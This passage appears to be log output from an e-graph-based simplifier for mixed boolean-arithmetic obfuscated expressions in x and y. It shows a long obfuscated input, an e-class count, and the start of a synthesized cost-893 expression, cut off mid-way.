bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))
====================================================================================================
eclasses #: 238
Synthesized (cost = 893): (((((0xfcc661cc3775da8f-((((0x2*(((0xfcc661cc3775da8f-((((((((((((((y-(x&y))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((~((x+y)-(x^y)))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+(((~y)|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xf54ea735bf818f75)-(((~x)|y)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8)+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*(((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b)))*0x9e3de1dbaff27723)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((~(x&y))*0xab158ca407e708b))*0x9843f8ec5cf1ad47))-((((0xfcc661cc3775da8f-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((y|x)*0xab158ca407e708b))*0x9843f8ec5cf1ad47))+0x89a5a6a8ef77d8a8))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((y-x)|(~(x*y)))*0x2)*0xab158ca407e708b)+0x3bbdd4